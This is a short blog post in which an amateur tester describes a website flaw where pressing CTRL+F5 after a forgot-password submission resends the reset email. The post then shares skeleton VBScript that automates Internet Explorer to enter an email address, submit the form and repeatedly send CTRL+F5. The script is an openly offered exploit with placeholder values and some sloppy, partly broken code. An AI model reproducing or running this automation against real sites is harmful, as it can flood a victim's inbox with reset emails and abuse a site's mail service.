I was testing a web site and found a bug, when I press CTRL+F5, it performs a previous action, say if I click submit button for forgot password, which sends a temporary password. After the confirmation that a temporary password is send to the email,I press CTRL+F5 and repeats sends the reset password again.
This is just a ameature stuff, nothing greak for the geeks on the website. This code worked in the machine where I tested it. I enhanced it a lot more, but I just posting the skeleton code.
This is just a ameature stuff, nothing greak for the geeks on the website. This code worked in the machine where I tested it. I enhanced it a lot more, but I just posting the skeleton code.
Dim URL Dim IE Dim objcheck Dim objbutton Set IE = CreateObject("internetexplorer.application") URL = "the url you want to use" IE.Visible = True IE.Navigate URL x = 1 While x < 10000 x = x + 1 Wend objcheck = IE.document.getElementsByName("controlname") ' This is for email objcheck.Focus objcheck.Value = "emailaddress" Set objbutton = IE.document.getElementsByTagName("contorlname") For Each btns In objbutton If btns.Type = "submit" Then btns.Click objcheck = IE.document.getElementsByName("controlname") objcheck.Focus x = 1 While x < 10000 x = x + 1 wend Set WshShell = CreateObject("WScript.Shell") WshShell.SendKeys "^{F5}" End If Next
3 Comments On This Entry
Page 1 of 1
Page 1 of 1
← March 2021 →
S | M | T | W | T | F | S |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | |
7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 |
21 | 22 | 23 | 24 | 25 | 26 | 27 |
28 | 29 | 30 | 31 |
0 user(s) viewing
0 Guests
0 member(s)
0 anonymous member(s)
0 member(s)
0 anonymous member(s)
My Blog Links
Tags
Recent Entries
-
First trial - Code to exploit a bug in webpage
on Oct 24 2016 03:21 AM
-
-
-
-